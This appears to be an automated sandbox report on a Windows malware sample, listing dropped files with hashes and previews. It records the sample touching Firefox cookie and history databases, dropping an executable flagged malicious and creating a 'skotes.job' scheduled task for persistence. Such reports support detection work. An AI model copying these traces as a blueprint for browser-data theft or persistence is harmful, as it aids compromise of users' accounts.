File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 28 06:55:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9985537049971467
Encrypted:	false
SSDEEP:	48:8c0dPTnfa8HvidAKZdA1leh/iZUkAQkqehvy+2:8cY7W9QWy
MD5:	BC82EB605727949B06F0EB8B9FC3323D
SHA1:	5980CB86E5D19F3CC516DB7CC9FBAE8E8B4ADEC3
SHA-256:	65EA8D0723AB8C16815ACD795CA9D60BDEAA3E3A160D87A6E5FFA3B0A9708B40
SHA-512:	DF262FB99EE66849ED6A2A9AF28BD48AFD22A044E0D2AE4D56253D1B46F41D75D04F74CFAA0EAC6286134DF48EAFCD0F8739F28A30A924C35A67A75BB7459403
Malicious:	false
Preview:	L..................F.@.. ...$+.,....x'C.jA..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I\|Y.>....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.013085210673337
Encrypted:	false
SSDEEP:	48:8G0dPTnfbHvidAKZdA14t5eh7sFiZUkmgqeh7sly+BX:8GY7unLy
MD5:	0B96A3CE05017B29AA1D79A8AC5F9E09
SHA1:	8A5591469508849202967FACB2B61713F0C086D6
SHA-256:	0E31A997AF63A5014F1A30F5DDD11A6C8725567AFE311F278F21697EDDA15F17
SHA-512:	FEE209B5285A5337AD8E552E814F3C321AF33A2705FCF4C854D88D2547BF291220ABBB0B39621C82A35E248A50E69AC235B98796F0DA8FF1CDFD229F1A8A6631
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I\|Y.>....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 28 06:55:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9982763824227434
Encrypted:	false
SSDEEP:	48:8k0dPTnfa8HvidAKZdA16ehDiZUkwqehTy+R:8kY7NNy
MD5:	243DB37051EF27D1086D8316FE622FE0
SHA1:	EE8E297E699DE6682514F976F4221EDB66083B9C
SHA-256:	500635A6D8DE5ADDEDA20577EAF091AD9B49997E3F10FCDDEF19E448F53D9121
SHA-512:	C001AE346EB61B2CA1B6742E4074A8598D4E763BCDBD6B1318CEEAE0D28BF7394CB317EC4285E68B561521B7943C182075C67E3457A434D53D81C81B25FAA742
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....b>.jA..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I\|Y.>....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 28 06:55:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.987413369219095
Encrypted:	false
SSDEEP:	48:8P0dPTnfa8HvidAKZdA1UehBiZUk1W1qehBy+C:8PY7t9hy
MD5:	EACE786ED7CAEF786CFDF99A653B77B9
SHA1:	B5EF4B3FABD557E6189AE2A24B8BA221F2EDD16F
SHA-256:	ECBE05D36B971CEE420618CEFB2F6689924121E41A3F6217318C4826D2D1C65A
SHA-512:	BF581E3DBC8FFC3A60D2FEEF86AE9B0ED0302C9713E33655CE2B09A34254688CAF2967BAA4BF8A7C4A3348047B8CBCEFA83716651D730AE0C648E0933DBC9D71
Malicious:	false
Preview:	L..................F.@.. ...$+.,......G.jA..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I\|Y.>....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 28 06:55:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9989051789322465
Encrypted:	false
SSDEEP:	48:860dPTnfa8HvidAKZdA1duTrehOuTbbiZUk5OjqehOuTbLy+yT+:86Y7qTYTbxWOvTbLy7T
MD5:	7188ACCF472D493DE3D5E59C8097DE1D
SHA1:	EB6C69F984648D29A5E02C7C5E50863FED923B91
SHA-256:	1273DA3C222EF54978F5AC501D51A7996D35EF0FE7581DDE00C56638FFAF0D4C
SHA-512:	7CC3E371B20DEB8D4CE67266FCC67B45284CC7ED9C0C9680C4CDD1B1A47F0A8056E34D23579F1DF20F2530F3048FB56C8CE883F95A15331D6FF35BE829AA45F5
Malicious:	false
Preview:	L..................F.@.. ...$+.,....[w2.jA..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I\|Y.>....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsHCGCBFHCFC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1932288
Entropy (8bit):	7.950694713629637
Encrypted:	false
SSDEEP:	49152:B4wMTur6oNPB2T9IAxUvrz9i03eOja1kDs8Ji746jQrzr:BUpopB4CJ9zfjaYZf
MD5:	AEF046ED5D6161FA855337B295DFD92F
SHA1:	5F50DB2BBAD3D532C49161D70CCC306E6EBC4C17
SHA-256:	27089E3D887C57AFBF4696EEDA12989BEEFC1ACB7C5099157EFCA9EFF5A95C95
SHA-512:	A983DF0CBE5FF0673201498176FC020F05EFA50743CE4708E693DCEEB5759ED8EBA754E2F3B0EC01F46A15E0EBCB9C982783425C7C64BD138B00C368B04208E9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PL...........@...........................L..........@.................................W...k.......D...................H>L..............................=L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0+.........................@...xfvywxal.`....1..`..................@...xhojyhat.....@L......V..............@....taggant.0...PL.."...Z..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsHCGCBFHCFC.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.436033849472656
Encrypted:	false
SSDEEP:	6:T1wuX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lB5lul0ut0:hwc7BQ1CGAFBZgtVB7Ct0
MD5:	5D7E10F084EB2DC93D13369CA1D8D9BA
SHA1:	A917E8E8E3B3110440263C4E8AE86CBBA3A71FC3
SHA-256:	3C81FB2D3097048E5F673A521233A876508E4177EEC0DA30ED921B855014AB10
SHA-512:	F247B19C03947E62CA26B7A3F49F9177FCA35AAE7101E7BEB894AAFCE4CBD524C18F7C09ADB6EE4C3B2A39429FF9CA4EE39FB29A7A9EA2C42D3C27BC6645D6F8
Malicious:	false
Preview:	.....v._!^.J.h..:.^)F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0.................9.@3P.........................

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (6094)
Category:	downloaded
Size (bytes):	6100
Entropy (8bit):	5.798476594730688
Encrypted:	false
SSDEEP:	96:i5liw8RRIznwPGdNA7sRS99+v8ruCAMkeCld1NIN6666Vvjg8LWcbpqEVp8qN6bF:a92CVqIRSn+UrKM8ld0N6666VbRWcVV0
MD5:	6B45AA2477B4FB28FD334B41DB15B41D
SHA1:	BD5CF9467A5C9476070268DA6408F18394227ABA
SHA-256:	EF07BFDE3EEF590B5A77897420F85956AD9C57A0CE35ADE9DECEA8C7CBB12087
SHA-512:	F3752F85B3415C498D6C82797FEDCE71320852FB2741A5BFC0AB0285E720494CD0165F71BBDF50186D8F62870646A850307C4507B9C3E88B5DBFDAF9358E885C
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nhl rangers","nvidia stocks","galarian corsola pok.mon go","mexican cattle imports","turkey leg hut houston tx","baker mayfield","rockstar games gta 6","wicked movie cynthia erivo"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CggvbS8waG10axIkTmV3IFlvcmsgUmFuZ2VycyDigJQgSWNlIGhvY2tleSB0ZWFtMp4OZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFFQUFBQUJBQ0FNQUFBQ2R0NEhzQUFBQWsxQk1WRVgvLy84RVVvckZJRFBiNHVxendkTzR4dFhoNSs0QVJJTUFVSW5tNi9FQVFZRUFTWWdBUjRUVTNPWUFOSHZ0OGZVQU9uNmRzTVlQWUpYTjErS2JMbERJSGpCOG1MYURtN2NrWHBFQVRJY0FQWDlvaUt2RjBOMEFMWGhjZ0taVmU2T1Bwcjg4YTVtbnVNeEljcDNNSEN3QUpYVmJSWE55a0xDV05GVUFDVzBBRVcrc0swZDdQV1U1UzMrOUl6a2dUb1YrTjE4S2IxZU5BQUFFYkVsRVFWUlloZTJYYTV1ckpoU0ZsL1dDTWdoYU95cUlxSGhTZTIvLy82L3JKak01TTBsMEpyMThQT3ZKRXlQQk43RFliSGFBYndwU3haVkNVM212TExUZjl6eTN6dTg3MmdTWTFiMGFhcS9qZHgzajl1c1FQSkJkcUJtVXI2R2FPNkdn

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132983
Entropy (8bit):	5.435578469371602
Encrypted:	false
SSDEEP:	3072:fYkX3ioI5wrfFiC8jMbk/5xnRLpvsMTwR2i6o:fj3dDFqr/5xnRLpvrwR8o
MD5:	5AB9EF15325A9F476BCDB86DFC1612F3
SHA1:	C013CB05FEEB260E70487E5B73336D01D5E269EE
SHA-256:	07B50D4353CFF57AB464B823A85E6708C239083C944CBAD17B52273511E81BD3
SHA-512:	5F35751A0C2D762BCC63A95607A5DAD3E1E414178F3857E957CC5BAC621AE2FDC9E58950A6389B076CB522F0F7D3F0BEECE000182F789C8C9B2781D02D322C72
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2802)
Category:	downloaded
Size (bytes):	174866
Entropy (8bit):	5.55119411677623
Encrypted:	false
SSDEEP:	3072:WEBR5OnrJtUy+9+thjN33FhJpGha9HMRWIjFBJBHTZPYb62+vQ1jV9HyT++Wq7ki:WKR5Or8y+9+tdFFhJchaZMRWIhBJBHTl
MD5:	E75DAA83A93E581139D8AD8EE8D62358
SHA1:	AC0DED87D443840A77B446D53DA22BFD52441D5C
SHA-256:	177BD25B85BF254F44B515271222B773D2CF618FA17587D2DD507CE2104A3542
SHA-512:	50FD351CB34D216BC443BC8A3FD2773925FC7151B180E5F697750B356A2649AC302E1FEF4575416C02FF04498F877EB4326F5B21AAC713AAAA38ED6E8BB65C43
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Z8FBMQoacoc.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt16WS-AyvNEln9-TaO-tZR_15utQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.943353576226031
